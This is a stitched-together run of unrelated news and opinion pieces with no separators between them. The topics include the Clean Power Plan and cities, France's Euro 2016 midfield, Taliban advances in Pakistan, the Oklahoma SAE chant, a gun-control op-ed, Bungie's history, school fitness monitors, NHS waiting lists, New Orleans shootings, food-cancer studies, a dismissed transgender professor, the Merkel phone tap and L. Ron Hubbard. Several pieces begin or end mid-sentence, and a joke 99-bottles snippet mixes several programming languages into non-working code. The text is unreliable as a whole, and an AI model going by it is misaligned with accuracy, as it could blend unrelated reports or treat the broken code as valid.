the brief notes, so cities have to take responsibility for protecting these people as the climate changes. And that eats up a huge chunk of cash.
Miami Beach, for instance is putting $400 million into preparing for sea level rise with raised roads, pump systems, and seawalls. Heat waves are now the most lethal extreme weather event in the U.S., and they hit cities hardest because the paved-over environment retains more heat than a green landscape. In Houston, a 2011 heat wave also cracked the pipe network and let out 18 billion gallons of drinking water. Many other cities, including New Orleans, D.C., and Philadelphia, are spending lots of money to deal with the fallout from more severe rainstorms. Cities are changing fast. Keep up with the CityLab Daily newsletter. The best way to follow issues you care about. Subscribe Loading... Because local governments are closer to the effects of climate change, leaders at that level are more willing to set aside politics and work on solutions, says City of Miami Commissioner Ken Russell. He’s a Democrat, but he’s worked closely with the Republican mayor and other commissioners to deal with their city’s exposure to rising sea levels. The success of the Obama administration’s fight against climate change could come down to what is essentially a proofreading error. “At a city level in south Florida, even a county level, there is no partisan issue here,” Russell says. “Everybody on the front line recognizes the need and they know that they’ve got the political cover to do what it takes. Their constituents aren’t going to vote them out for crossing the party line, for example.” He adds, though, that this immediacy doesn’t apply at the state level, where party hierarchy, political donors, and future aspirations weigh more on a politician’s decision making. Republican Gov. Rick Scott’s administration, for instance, is suing to stop the plan and made headlines after widespread allegations that they informally banned use of the phrase “climate change” in reports by certain government agencies. This disconnect between eagerness to protect populations on a local level, and willingness to obstruct mitigation efforts at the state level, fuels the cities’ argument that the courts should preserve the Clean Power Plan.
Lines of attack The Clean Air Act gives the EPA the power to regulate air pollutants from stationary sources like power plants. What’s new with the Clean Power Plan is that it would use this law to reduce greenhouse gases from existing power plants; the plan sets unique targets for each state to cut. States can decide for themselves how to reach that goal. If they don’t make a plan, they have to accept a federal one. In broad terms, the groups fighting the regulations argue that the EPA doesn’t have this authority. Here’s where things get pretty Byzantine: In 1990, the House and Senate each wrote their own version of the relevant section of the law, 111(d), and instead of reconciling them in the final draft of the bill, they left both in. One version looks clearly favorable to the EPA’s position, but the other one is more ambiguous and could break the other way. The success of the Obama administration’s fight against climate change could come down to what is essentially a proofreading error. (For a more detailed account of the legal questions, I’ll direct you to the Harvard Law Review.) The cities argue that interpreting this clause to prevent the EPA from regulating carbon dioxide from power plants would defeat the explicit purpose of the Clean Air Act, which is to prevent air pollution in order to protect public health and well-being.
The coal camp has a backup plan in case the court rejects its argument: they say the Clean Power Plan isn’t the “best system of emission reduction” called for by law. Instead they propose alternatives less likely to drive a hard shift from coal—efficiency improvements and technological fixes like carbon capture and storage. The EPA’s opponents also raise a states’ rights complaint: should a federal agency be able to tell states where they get their power from? States with a powerful coal lobby think not, but the EPA was very careful to allow for local decisions on how to proceed. That creates a frustrating situation for mayors like Jim Brainard of Carmel, Indiana, a suburb of Indianapolis. Brainard is a Republican mayor who subscribes to conservatism in the tradition of Teddy Roosevelt, who set aside national parks to protect the American landscape for future generations. “I haven’t met any Republican yet who wants to drink dirty water or breathe dirty air,” he says. The mayor is concerned about pollution and energy independence—he’s currently developing a dense, walkable core for his city. Meanwhile, the Republican governor of Indiana is suing to halt the Clean Power Plan. “That argument that the federal government is taking over is invalid,” Brainard says. “We have the right to produce our own plan and figure out how we’re going to get there, and the state has refused to do that.” With that level of division—pitting cities against their states, states against other states, and states against the federal government—the situation is ripe for a judicial decision to settle things. “President Obama's Clean Power Plan is essential to reduce our nation’s greenhouse gas emissions,” Los Angeles Mayor Eric Garcetti writes to CityLab. “The Supreme Court must choose between helping cities fight climate change or standing squarely in their way.”27th June 1984, on an uncharacteristically cold evening in Paris, France stepped out onto the hallowed turf of the Parc des Princes, to the roaring of 47,368 of mostly their own countrymen, to write the final chapter in the fairytale of Euro 1984. A hotly contested game contrasted sharply with the chilly breeze, but Les Bleus and opponents Spain must have had their shooting boots frozen in fear. Not a goal to speak of until minute 57, when Luis Arconada allowed a weak free kick to incredulously sneak under his body and in. It was Michel Platini’s ninth goal of the tournament, and managed to be both his luckiest and his most important. A Bellome chip in added time doubled the score and France had done it. Their first major triumph, and it had come on home soil no less.
If you were a French man, you’d surely have to be a believer in a little thing called destiny. Surely it can be no accident that the two most talented sides they ever produced were at the apex of their powers in the lead up to tournaments on home soil. Their ’84 domination was followed by a Zinedine Zidane inspired triumph in the Stade de France in the World Cup of 1998, and then golden goal glory in Euro 2000, held in neighbouring Belgium and the next-to-neighbouring Netherlands. As Euro 2016 is now a matter of weeks away, one needs only to glance at a hypothetical XI of the players that France left out of the squad to see how scarily deep the talent is in their international pool. Off the top of my head (I swear, scouts honour): Ruffier, Debuchy, Laporte, Rami, Tremoulinas, Rabiot, Schneiderlin, Bauthéac, Tolisso, Ben Arfa, Lacazette. What’s that? You want another one? Oh fine then: Aréola, Konko, Umtiti, Koulibaly (He’s Senegalese? Okay, Yanga-Mbiwa so), Kurzawa, N’Zonzi, Kondogbia, Mounier, Gourcuff, Nasri, Gameiro. And that’s not including injured players (Zouma) or those who can’t make it for some other reason (Benzema, Valbuena, Sakho). Going in as heavy favourites, this French team is easily the strongest there. Germany come close, but other than them nobody is on the same level. Their victory, though, may very well be inspired with a nod back to the first champions 32 years ago.
In Euro ’84, France steamrolled the middle of the park in every game (semi final against Portugal notwithstanding) as they were blessed with having four wonderfully talented midfielders at their disposal: Luis Fernández, Alain Giresse, Jean Tigana, and Platini. Collectively they were known as “Le Carré Magique”, or the Magic Square for us uncultured masses. Playing in a loosely defined diamond, the four each had their own individual talents but ultimately shared two defining characteristics: uncontainable explosiveness, and a supreme pair of feet. They didn’t call them the “Brazilians of Europe” for nothing. The supporting three would play the ball between themselves as effortlessly as if they were on a beach, yet also shielding it from the opposition like there was a force field around the thing. Platini had free roam at the tip of the diamond (the other three would interchange, pulling the opposition every which way) allowing him to exploit space and wreak havoc on the opposition goalkeepers. Who needs strikers when you have a midfielder scoring an average of just under two goals per game, eh? It was controlled chaos, tumultuous clockwork, football at its beautiful best and its maniacal maddest at once. The foursome would conquer that summer but, unfortunately, not go onto dominate the world stage in 1986 in Mexico, losing to West Germany in an era-defining game in Guadalajara.
Looking back to the future, I threw together my own little starting XI for France today, and something immediately startled me upon first review:
How OP do you like your midfield in the morning mate? In looking at the four of Kanté, Matuidi, Pogba, and Payet, you immediately see reflections of the famous four from ’84. Kanté, much like Fernández, is the football purists dream of a holding midfielder. Every bit as comfortable with the ball at his feet dribbling as he is throwing in a daring tackle, and often, nothing gets past him. Matuidi brings fierceness and passion, similar to Tigana. An unstoppable force on top form, blessed with box-to-box energy and the agility and acceleration to match. Tigana and Giresse shared these qualities much like Pogba and Matuidi do, but the precision and finesse that Giresse brought to his game (and Tigana was no slouch) set him apart. Pogba, however, is a big, imposing figure with a touch of sheer class about his play that you simply have to label him as a once-in-a-generation talent. At the top, Payet is a versatile player with a great footballing brain and the ability to strike a ball, be it a pass or a shot, with pinpoint precision from just about anywhere. Truly, he would make Le Roi proud.
What could set this new “Carré Magique” apart from the original though, is the individual little improvements that each player has over his predecessor. Tigana was always hampered somewhat by his diminutive physical stature, but for Matuidi this is hardly a problem. Kanté’s pace makes him a massive asset going forward, more so than Fernández. Payet may never attain the legendary status of Platini, but he certainly could easily last the full 90 minutes and play to his maximum for the full game, something Platini struggled with on occasion. And Pogba? Enough superlatives have been used to describe his game that I’d merely be parroting, so I’ll say this: I think he’s a little better than Alain Giresse anyway.
Everybody has their favourites going into a tournament like this. Be it their picks to win, or sides they simply have an affinity towards. If Will Grigg catches fire in France it will bring a smile to my face, and I also have a soft spot for Hungary too. However, for anyone to back a Germany or a Spain, England, Portugal, Croatia, whoever, is a bit daft. There is no looking past France. What’s more, not only will France come away from this tournament winners, a certain foursome will come away legends. The men who delivered them the crown, through sheer domination of the ball and unmatched class in the middle of the park. N’Golo Kanté, Blaise Matuidi, Paul Pogba, Dimitri Payet. I give you, “Le Nouveau Carré Magique”. Watch that space.
AdvertisementsFirst they won control of Pakistan's Swat Valley. Then they easily took over Buner District next door. Now the Taliban appear to have set their sights on two more neighboring areas as they continue to drive deeper into Pakistan.
Some analysts say that, for the time being, the Taliban are likely restricted to rural areas in the northwest – it's unlikely, for example, that they could take over the nearest major city, Peshawar, where the provincial government of the North West Frontier Province is based.
Still, the militants appear intent on expanding their influence. And in the NWFP over the past several weeks they have faced little resistance from either the populace or government security forces.
"If they stay in Buner longer they will continue their drive," says analyst Rifaat Hussain, of the Quaid-i-Azam University in Islamabad. "The fact they were able to take over so easily will encourage Taliban from other districts to do the same."
The Taliban progress
In Buner, where the Taliban consolidated their control this week, militants have begun patrolling bazaars, villages, and towns, according to a leading English-language daily newspaper, Dawn. For the past six days, they are reported to have been looting government and NGO offices for supplies and four-wheel-drive vehicles.
Leading politicians, bureaucrats, prominent businessmen, and judges have fled the area, says local reporter Abdur Rehman Abid. "The people of Buner feel they have been abandoned to God's will."
Taliban members have also set up checkpoints along Buner's borders with the districts of Mardan and Swabi and are making forays into those areas, Mr. Abid continues. Mardan lies southwest of Buner, toward Peshawar, and is home to NWFP Chief Minister Amir Haider Khan Hoti. Swabi borders Punjab Province, Pakistan's populous heartland.
The fall of Buner comes at a sensitive time for the government, which is trying to maintain a controversial peace deal with the Swat Taliban that was negotiated by hard-line cleric Sufi Mohammad. The government agreed to impose Nizam-e-Adl regulations, a form of Islamic law, or sharia, in the area if the Taliban stopped fighting their troops.
But since President Asif Ali Zardari and the National Assembly officially approved the deal last week, militants in Swat have declared that no other Pakistani courts have jurisdiction over the area and have refused to put down their guns.
On Sunday, Mohammad sparked further controversy nationwide when he declared at a rally in Mingora, the capital of Swat, that there is "no room for democracy" in Islam – raising concern that the Taliban aim to impose their interpretation of sharia well beyond the northwest.
"They are now threatening to get out of Swat and take other areas into their custody. So, we've got to avoid that situation," former prime minister Nawaz Sharif, who has in the past gained popularity for his anti-American stances, told USA Today Tuesday.
Critics of the Swat agreement have called it "appeasement."
"If [the Taliban] manage to consolidate their influence here [in Buner] they will play the politics of falling dominoes," says Mr. Hussain, the analyst. "Sufi Mohammad made it clear in his speech – they are targeting the whole of Pakistan."
And if the government continues to make deals with the Taliban, Hussain continues, they may be tempted "to go for the jugular" and lay siege to the city of Peshawar.
'We will not lose hope'
But provincial legislators of the Awami National Party, which governs the NWFP, appear more keen on keeping the peace going.
"We will not lose hope. The peace in Ireland took 30 years; we're asking for 30 weeks," says Haji Adeel, senior vice president of the ANP. He says that the government has sent for eight platoons of Frontier Constabulary, a paramilitary force, to patrol Buner, but adds that the basic problem is the Taliban expect too much, too soon.
"They [the Taliban] don't understand we need time and money to meet their demands to create and staff sharia courts. Sufi Mohammad doesn't understand the way bureaucracy works."
He adds: "So far, the Taliban haven't kept to their side of the bargain. We were expecting everyone to lay down arms and live like decent and ordinary citizens, to act according to the rules."The University of Oklahoma on Friday, disclosed the results of an internal investigation into a racist fraternity chant that was captured on video, in which students used offensive language regarding membership of black students in their fraternity.
The university president, David Boren, who discussed the school’s findings at a midday press conference, called on the country to join the university in learning from this experience.
Expelled University of Oklahoma fraternity member 'deeply ashamed' of racist chant Read more
“This is not just the problem here at this campus or at other universities and college campuses. This is a problem in America. We’ve had an epidemic of racism all across our country. Ferguson, Missouri, might be the best-known case,” he said, calling on the rest of the country to join the university in its zero-tolerance stance on racism.
“Every single one of us here, every single one seeing me or hearing my voice, we can stop it. We can stop it if all of us … say we have zero tolerance for racism in America. That’s not who we are.”
Boren also announced that the university will start sensitivity training for all its students in the autumn and is currently determining how to deliver that training.
The school has already disbanded its Sigma Alpha Epsilon chapter and expelled two students who it said led the chant. In the video, students on a bus can be seen taking part in a chant that includes references to lynching and uses a racial slur to describe how the fraternity would never accept black members.
A lawyer for the SAE chapter said this week that an agreement had been reached in which no other members of the fraternity will be expelled. Attorney Stephen Jones also said the two students whom Boren expelled actually withdrew from the university first.
One of those students, Levi Pettit, publicly apologized for his role in the chant at a new conference on Wednesday in which he was flanked by black community leaders. Pettit, who is from the Dallas enclave of Highland Park, answered a few questions from reporters but declined to say who taught him the chant.
“The truth is what was said in that chant is disgusting... and after meeting with these people I’ve learned these words should never be repeated,” Pettit said.
A second student from the Dallas area, Parker Rice, also issued a statement apologizing for his role in the chant.
The university’s investigation found that the chant was learned by members on a leadership cruise sponsored by the national organization of SAE. The chant was then formalized by the local SAE chapter and was taught to the pledges as part of the pledging process. The investigation also found that a number of chapter members had consumed alcohol prior to boarding the bus where the chant was sung.
About a dozen high school students, who were participating in the fraternity’s recruitment events, were also exposed to the chant.
The investigation and the disciplinary actions undertaken by the university were only the first stage of the process, Boren said, adding that the next stage is to rebuild trust. Other fraternities and sororities at the University of Oklahoma will have to partake in that process and help make people feel safe on campus, he said.
Boren also called on the national SAE organization to conduct its own investigation into the chant.
Isaac Hill, the president of the university’s Black Student Association, met personally with Pettit and said he believes his apology was sincere. But he said he would like to hear from the others who took part in the racist chant.
“As we know, it wasn’t just Levi and Parker on that bus. There were multiple people,” said Hill, a junior from Midwest City. “We look forward and hope to get more than just his apology, but an apology from everyone.”
The board of trustees and alumni of the school’s SAE chapter released a statement a few days after the video was released acknowledging the chant surfaced at the chapter “three to four years ago and was not immediately and totally stopped. It should have been.
The national Sigma Alpha Epsilon fraternity also disbanded its OU chapter and announced it was taking steps to become more inclusive, including by requiring all of its members, nationwide, to go through diversity training and by setting up a confidential hotline for people to report inappropriate behavior.
SAE began collecting racial and ethnic data in 2013. Approximately 3% of SAE’s reporting members identified as African American and 20% identified as non-white, according to Blaine Ayers, the national fraternity’s executive director.
The Associated Press contributed to this report.It has been nearly four days since the shooting rampage in Santa Barbara, and in that time the firearms fetishists have been up to their usual tricks trying to excuse away yet another gun massacre in America.
They have their talking points at the ready for these, and they immediately got started: If we ban guns, they warned, then we have to ban knives and cars, because he used those to kill and injure people, too. California has liberal gun laws, and this proves they don’t work, they insisted. There is nothing we can do to stop gun violence, they recited; guns don't kill people, people do.
As usual, the gun nuts are wrong, and not one of these stands up to the slightest scrutiny.
Let’s start with the Right’s newest post-massacre trope: the banning of knives and cars, because the murderer in Santa Barbara used a knife to kill three people and a car to injure four.
Of course, compared to guns, cars are robustly regulated. There’s a strong registration regimen. More and more safety features have been added—including airbags and seat belts. There’s a long-standing war against drunk driving that’s included checkpoints, long sentences for offenders, and holding bartenders accountable who serve someone who’s clearly wasted. And, of course, there’s registration, licensing and tests required to prove you know how to drive an automobile. All of it has led deaths on our roads to plummet. This is why 2015 is projected to be the first year where gun deaths surpass traffic fatalities.
Cars also have a purpose other than killing. As do knives. And although, tragically, three young men were killed after being stabbed by the killer in Santa Barbara, perhaps the clearest comparison between gun violence and knife violence is provided by looking at the attack that occurred at a Chinese school in Henen Province the very same day as the Newtown Massacre. Twenty-three students were attacked in Henen and none died—as opposed to 20 murdered at Sandy Hook Elementary. Or how about the 22 injured in a knife attack at a school in Pittsburgh this past April? Nobody died there, either.
Of course, to the family of a victim, one stabbing death is too many. But clearly knives can’t kill as impersonally, as many, as fast or as at far a distance. Which might be why there haven’t been presidents knifed from book depositories (or grassy knolls, whatever your preference), there aren't drive-by knifings, and we didn’t storm Omaha Beach throwing knives.
Knives also don’t have a powerful lobby to buy legislators, governors, judges, etc., with campaign contributions so they can enrich themselves with blood-stained arms dealer money. So please, put that pathetic talking point to rest.
Another favorite conservative retort to calls for stricter gun regulation has been to point to California's “liberal” gun laws, which supposedly didn’t help Santa Barbara at all. However, the fact that the shooter possessed only 10-bullet magazines and no assault weapon—or what he could legally buy—clearly did help. As terrible as this was, it could have been much worse if the gun fetishists had their way, and any manner of weapon or magazine was for sale.
Additionally, and I know this is a tough concept to understand, but we have these territories separated only by an imaginary boundary known as states. They border one another. People can drive across them at will, as they often do from Arizona—where gun laws are among the most lenient in the U.S.—to California. It is also quite easy to drive from California to Nevada, which also has lax gun laws.
This might be why when John Patrick Bedell, another angry and troubled man with a hatred for his own government, decided to try to assassinate public servants at the Pentagon, he went next door to Nevada to get his guns no questions asked, once he couldn’t pass a background check in California. Wow, that was hard!
Of course, there is one easy case study that proves the rule: Hawaii, which is separated from every other state by quite a bit of ocean. The Aloha State, which boasts the lowest gun ownership rate and among the strongest gun laws in our country, has the lowest gun violence rate, according to The Law Center To Prevent Gun Violence. Meanwhile, in Arizona, with those ridiculously nonexistent gun laws, you're five times more likely to die from a gun than in Hawaii.
This pattern extends throughout the country, from lax regulation states like Mississippi and Alaska ( |
"Per audacia ad astra", translates to "Boldly to the stars". The project is intended to provide independent game developers with publishing, resources, and support, including access to the Bungie.net platform.[48] In November 2011, Bungie Aerospace published its first game, Crimson: Steam Pirates, for iOS, developed by startup video game developer Harebrained Schemes.[49] In addition to publishing and distributing Crimson, Bungie Aerospace provided players with statistical support and a dedicated discussion forum on Bungie.net.[50]
On February 2013, Bungie announced Destiny,[51] which launched for the PlayStation 3, PlayStation 4, Xbox 360, and Xbox One platforms on September 9, 2014.[52][53][54] During January 2016, Ryan stepped down as president and Pete Parsons, who had been the company's chief operating officer and executive producer since 2002, became its chief executive officer.[55]
In June 2018, Bungie announced that Chinese video game conglomerate NetEase had invested $100 million into Bungie, in exchange for a minority stake in the company and a seat on the company's board of directors.[56]
On January 10, 2019, Bungie announced that it was terminating its publishing deal with Activision after eight years; as per their agreement, Bungie retained all rights to Destiny.[57]Big Brother is joining the battle of the bulge.
A group of Long Island students will soon be wearing controversial electronic monitors that allow school officials to track their physical activity around the clock.
The athletics chair for the Bay Shore schools ordered 10 Polar Active monitors, at $90 a pop, for use starting this spring. The wristwatchlike devices count heartbeats, detect motion and even track students’ sleeping habits in a bid to combat obesity.
The information is displayed on a color-coded screen and gets transmitted to a password-protected Web site that students and educators can access.
The devices are already in use in school districts in St. Louis and South Orange, NJ — and have raised privacy concerns among some parents and observers.
But Ted Nagengast, the Bay Shore athletics chair, said, “It’s a great reinforcement in fighting the obesity epidemic. It tells kids, in real time, ‘Am I active? Am I not active?’ We want to give kids the opportunity to become active.”
The monitors are distributed by Polar Electro, of Lake Success, LI, the US division of a Finland firm.
In the South Orange-Maplewood School District, where earlier versions of the devices have been used for two years, upper-grade students’ marks in phys ed are based in part on heart-rate monitors and activity sensors.
Teachers use hand-held computers to collect data from each student’s wrist monitor during class, then upload the information to the school computer system for storage and long-term tracking.
But privacy advocates and parents worry that schools are using electronic monitors in phys ed without families’ knowledge or consent.
“I didn’t even know it was going on, and I’m active in the school,” said Beth Huebner, of St. Louis.
Her son, a fourth-grader, wore a Polar Active monitor in class without her OK last fall at Ross Elementary School.
“We have gotten no information about the Web-site security or where the data will go,” Huebner said.
“When you get into monitoring people’s biological vital signs, that’s a pretty intrusive measurement,” said Jay Stanley, of the American Civil Liberties Union. “There are key privacy interests at play.”
At the very least, says Stanley, parents must have a say in how long the data will be stored and who will have access to it and schools must obtain parents’ consent.
“A program like this should only be voluntary. Nobody should be forced to reveal biological indicators,” he said.
“It’s all about secondary use,” said Virginia Rezmierski, an expert on information technology and privacy at the University of Michigan.
“Does the data pass along with the child from school to school? When will insurance companies want to get access to it? Will a school want to medicate a child that the monitor identifies as hyperactive? It’s potentially very dangerous ground.”Critics likely to claim breaching of 4 million barrier is proof government is doing too little to help England’s hospitals
More than 4 million patients are waiting to be admitted to hospital in England to have surgery, the highest number in 10 years, the latest official NHS performance statistics reveal.
Hospital bosses said the figure, and a series of missed performance targets on A&E and cancer care, showed that the health service was now unsustainable. Shortages of money, staff and care outside hospitals to keep patients well meant that it could not cope with an ongoing and unprecedented rise in demand, they said.
“The current system is unsustainable. We simply do not have the resources to deliver what the public now expects,” said Danny Mortimer, the deputy chief executive of the NHS Confederation.
Shortage of doctors and midwives putting lives at risk – report Read more
Just over 4 million patients were waiting to undergo non-urgent operations such as a cataract removals and hip replacements at the end of June – the highest figure since August 2007 and the second highest on record.
The shadow health secretary, Jonathan Ashworth, said: “It is staggering that this government have allowed the NHS waiting list to rise over 4 million. A year of Theresa May’s mismanagement of the NHS has pushed services to the brink and left thousands more waiting in pain for routine operations.”
Gordon Brown’s Labour government first obliged hospitals to treat 92% of people waiting for planned hospital care within 18 weeks in 2007, under what is called the referral to treatment (RTT) care pathway, because too many patients were waiting too long. There were 4.1m patients on the first waiting list in August 2007, but the total came down to below 2.5 million in 2009 and 2010. It hit 3.5 million again last year and had been creeping towards the 4 million mark since.
NHS England said 3.83 million patients were on the RTT waiting list at the end of June, but that when estimates from six hospital trusts that did not submit ratified data were included, “the total number of RTT patients waiting to start treatment at the end of June 2017 may have been just over 4m patients”.
The recent upward trend follows the NHS England chief executive Simon Stevens’ decision in March to deprioritise the 92% target so that trusts could focus on improving their performance targets covering A&E and cancer care.
The monthly performance data for June and July, however, also showed that the target for hospitals to treat 95% of A&E patients within four hours had not improved and had not been met for two years.
Hospitals also failed to give the required 85% of cancer patients urgent treatment within 62 days of referral by their GP for the 39th time in the last 42 months. Macmillan Cancer Support voiced concern that hundreds of cancer patients a month were not getting urgent care as quickly as they should.
Professor Derek Alderson, president of the Royal College of Surgeons, said the 4 million people on the RTT list was the equivalent of the population of Bristol, Liverpool, and Sheffield combined. “These statistics should act as wakeup call. This is the real life impact of an NHS under severe pressure. As our population increases and demand for the NHS grows, the waiting list will likely only get worse unless more action is taken.”
Making patients wait even longer than expected for surgery “can create prolonged pain, uncertainty, and be highly stressful for them and their family”, he said.
NHS Providers, which represents hospital trusts, warned that the dismal set of waiting time figures was ominous. “There is simply not enough capacity in the system to assure patient safety in the coming winter”, said Phillipa Hensch, its head of analysis.
Ministers and NHS bosses need to give hospitals an immediate cash injection of between £200m and £350m to help them overcome “the current capacity gap” or risk the health service not being able to cope in winter, she said.
The Department of Health declined to comment on the fact that 4 million patients were waiting for a procedure.
A spokesman said: “Thanks to the hard work of our NHS staff, patients continue to receive world-leading care, with nine out of 10 patients waiting less than 18 weeks and being treated in A&E within four hours. We continue to invest in the NHS, and as new research published recently shows, spending on the NHS is in line with other European countries.”NEW ORLEANS (WVUE) - (Press Release) Nine people are recovering from gunshot wounds in New Orleans this weekend.
The rash of violence started Saturday in New Orleans East and continued through Sunday with the most recent shooting taking place on South Carrollton in broad daylight.
South Carrollton Avenue is a highly populated corridor. Police say someone opened fire just after noon Sunday near Olive Street, hitting a 26-year-old man.
Earlier in the day, two other people were shot; one on Bunker Hill, the other on Frenchmen Street.
"People are going to be very afraid by the end of the summer if this keeps up," said Criminologist Peter Scharf, Ph.D.
Saturday saw six people injured by bullets, including a 17-year-old. Scharf says while summertime heat is often blamed for spikes in violence, he's got another theory.
"It's not really the hot weather, it's that you have opportunities for open air drug dealing and to assassinate your enemies," he said.
While the city's murder rate for the year is down, Scharf says non-fatal shootings still garner plenty of attention and lead people to compare New Orleans to other cities with violent crime problems. But the criminologist says those comparisons don't accurately reflect what's going on here.
"People say don't go to Chicago they've had 47 shootings in a weekend. Chicago is two and a half million people, we're 380,000 on the good days and if you multiply it, we're about double the Chicago rate of shootings," Scharf explained.
Part of the problem here is something Scharf and NOPD Supt. Ronal Serpas agree on; the revolving door at Tulane and Broad.
"In New Orleans, someone arrested for illegally possessing a firearm or using a firearm, within 12 months of that arrest without incarceration, is three times more likely to be re-arrested for murder, manslaughter, and five times more likely to commit a violent crime," Serpas said.
While fixing the criminal justice system isn't something that can happen overnight, Scharf thinks hiring more police officers is something that can be done now to help deter crime. He says weekends with nine people wounded in separate shootings is simply unacceptable.
View more at WVUE.The Guardian is reporting a fascinating new study in The American Journal of Clinical Nutrition by Stanford University epidemiologist extraordinaire John Ioannidis and Harvard University oncologist Jonathan Schoenfeld. The two researchers randomly chose of list of ingredients from the Boston Cooking-School Cook Book and then scoured the scientific literature to find studies linking those ingredients to cancer. They found that 40 of the 50 ingredients had been associated with an increased risk of cancer. As The Guardian reports:
Among the 40 foods that had been linked to cancer risks were flour, coffee, butter, olives, sugar, bread and salt, as well as peas, duck, tomatoes, lemon, onion, celery, carrot, parsley and lamb, together with more unusual ingredients, including lobster, tripe, veal, mace, cinnamon and mustard.
Schoenfeld and Ioannidis then analysed the scientific papers produced after initial investigations into these foods. They also looked at how many times an ingredient was supposed to increase cancer risk and the statistical significance of the studies.
"Statistical significance" is the term used for an assessment of whether a set of observations reflects a real pattern or one thrown up by chance. The two researchers' work suggests that many reports linking foodstuffs to cancer revealed no valid medical pattern at all.
"We found that, if we took one individual study that finds a link with cancer, it was very often difficult to repeat that in other studies," said Schoenfeld. "People need to know whether a study linking a food to cancer risk is backed up before jumping to conclusions."...
[Yet] these initial studies have often triggered public debates "rife with emotional and sensational rhetoric that can subject the general public to increased anxiety and contradictory advice".
"When we examined the reports, we found many had borderline or no statistical significance," said Dr Jonathan Schoenfeld of the Harvard School of Public Health in Boston.Students Rally Behind Ousted Trans Professor at Calif. Christian College
Members of Azusa Pacific University's gay-straight alliance, Haven, wore shirts and carried banners declaring 'We Stand With Adam' before and after the daily chapel service on campus.
Students in the unofficial gay-straight alliance at Azusa Pacific University in Azusa, Calif., rallied today to express support for a transgender theology professor who was asked to leave his job after 15 years with the evangelical institution.
Adam Ackley, a professor of systematic theology at APU, had been teaching at the school for more than a decade, living as a married woman. In late September, Ackley told administrators that he's a transgender man and revealed that he is going through a divorce.
University officials claimed Ackley's transgender identity puts him at odds with the school's evangelical Christian doctrine and expressed concern that keeping him in the classroom during his clinical and legal transition could be a "distraction" for the students, and affect future enrollment and donations.
On Thursday, members of APU's GSA, Haven, wore shirts and carried banners that read "We Stand With Adam" as they gathered on the quad before and after the daily chapel service. Ackley's final day on campus will be Friday, according to the APU's student publication, Clause.
"We were just doing that to show APU that we do not agree with the decisions that are being made right now," Haven copresident Alyson Thatcher told Clause. "It’s just to show support for Adam."
Last week, Ackley said in a Facebook post that the university would allow him "through the end of the academic year" to seek other employment, acknowledging that both he and APU agreed that they "may not currently be the best fit for one another. … However, the place we are struggling to come to understanding has to do with impact on students I currently serve enrolled in my fall classes."it should work but idk why it doesnt
#!/usr/bin/perl #include <iostream> <!-- my awesome 99 bottles of beer (a little buggy) --> for x in xrange(99, 2, -1): System.out.println(parseInt(x.toString()) + " bottles of beer on the wall! #{x} bottles of beer!") cout << "Take one down and pass it around, " $x -= 1; println "$x bottles of beer on the wall!" if x is not 1 end # now x is 1, and we need to print the singular stuff // so this is pretty much hard coded my $res = SELECT * FROM "1 bottle of beer on the wall! 1 bottle of beer!"; print "$res
" Public Sub static void last_take_down(None): echo %w[Take one down and pass it around, no more bottles of beer on the wall!] End Module; /* TODO make last verse
AdvertisementsAccording to German news magazine, Spiegel, there is some evidence that the United States has tried to tap German Chancellor Angela Merkel’s cellphone. The evidence seems strong enough to have caused Merkel to make an angry phone call to Obama to complain. The administration, in response, has said that the United States “is not monitoring and will not monitor the communications of Chancellor Merkel.” It has declined to comment on whether it has monitored her phone communications in the past.
It’s likely that Germany is being hypocritical in complaining about the phone tap. The transcripts of the Wikileaks diplomatic cables reveal that Merkel has been privately very sympathetic to U.S. surveillance in the past. Almost certainly, Merkel would not be making angry and well publicized phone calls if the scandal hadn’t already become public. Now that it is public, she has to. The scandal is equivalent to the scandal that would erupt in the United States, if it was discovered that France had been tapping into President Obama’s blackberry.
Yet as Martha Finnemore and my arguments about hypocrisy suggest, the interesting question isn’t whether the German government is entirely sincere. It’s whether these revelations are making it tougher for the United States to have its cake and eat it too. And there is good reason to believe that they will make direct confrontation between Europe and the United States more likely.
On Monday, the European Parliament agreed on new privacy legislation, which included a provision that forbade businesses from giving personal information to U.S. authorities without informing European authorities, and the European citizen affected. The United States had previously successfully lobbied to get this provision deleted; it was reinstated as a result of the Snowden scandal. The European Parliament doesn’t get sole final say on this legislation — it now has to negotiate with Europe’s member states. U.S. politicians and lobbyists have been hoping that they can persuade enough member states to quietly delete the provision yet again.
This has suddenly become a lot harder. Merkel would probably personally like to see the provision deleted. Yet it is going to be very hard for her to push that argument, without looking like a sellout to the German public. The French wiretapping scandal is similarly going to harden public opposition in France. Disagreements over spying are usually handled discreetly through back channels. Not this time.
Thus — even if Merkel doesn’t want it (and she has done her best in her public statement to limit the controversy by only demanding that U.S. spying stops) — this latest scandal is plausibly going to lead to a major confrontation between the European Union and the United States over NSA spying, in which the two sides make incompatible legal demands. If this happens, Google, Facebook, and other companies that operate across both jurisdictions will be caught in the crossfire. It’s possible that Europe and the United States will find some way to fudge this and avoid confrontation, but it’s hard for me to see how.The Mind Behind the Religion : Chapter Two : Creating the Mystique : Hubbard's image was crafted of truth, distorted by myth.
The Scientology Story. Today: The Making of L. Ron Hubbard. First in a six-part series.NEXT: Part Two-- The Selling of Scientology.
To his followers, L. Ron Hubbard was bigger than life. But it was an image largely of his own making. A Los Angeles Superior Court judge put it bluntly while presiding over a Church of Scientology lawsuit in 1984. Scientology's founder, he said, was "virtually a pathological liar" about his past. Hubbard was an intelligent and well-read man, with diverse interests, experience and expertise. But that apparently was not enough to satisfy him. He transformed his frailties into strengths, his failures into successes. With a kernel of truth, he concocted elaborate stories about a life he seemingly wished was his. There was his claim, for example, of being a nuclear physicist. This was an important one because he said he had used his knowledge of science to develop Scientology and dianetics.
Hubbard was, in fact, enrolled in one of the nation's early classes in molecular and atomic physics at George Washington University, in Washington, D.C., where he unsuccessfully pursued a civil engineering degree. But he flunked the class. Church of Scientology officials deny that Hubbard claimed to be a nuclear physicist and point to a taped lecture in which he admits earning "the worst grades" in the class. But they fail to mention contradictory statements Hubbard made when it suited his needs. Perhaps Hubbard's most fantastic -- and easily disproved -- claims center on his military service. Hubbard bragged that he was a top-flight naval officer in World War II, who commanded a squadron of fighting ships, was wounded in combat and was highly decorated. But Navy and Veterans Administration records obtained through the federal Freedom of Information Act reveal that his military performance was, at times, substandard. The Navy documents variously describe him as a "garrulous" man who "tries to give impressions of his importance," as being "not temperamentally fitted for independent command" and as "lacking in the essential qualities of judgment, leadership and cooperation. He acts without forethought as to probable results." Hubbard was relieved of command of two ships, including the PC 815, a submarine chaser docked along the Willamette River in Oregon. According to Navy records, here is what happened: Just hours after motoring the PC 815 into the 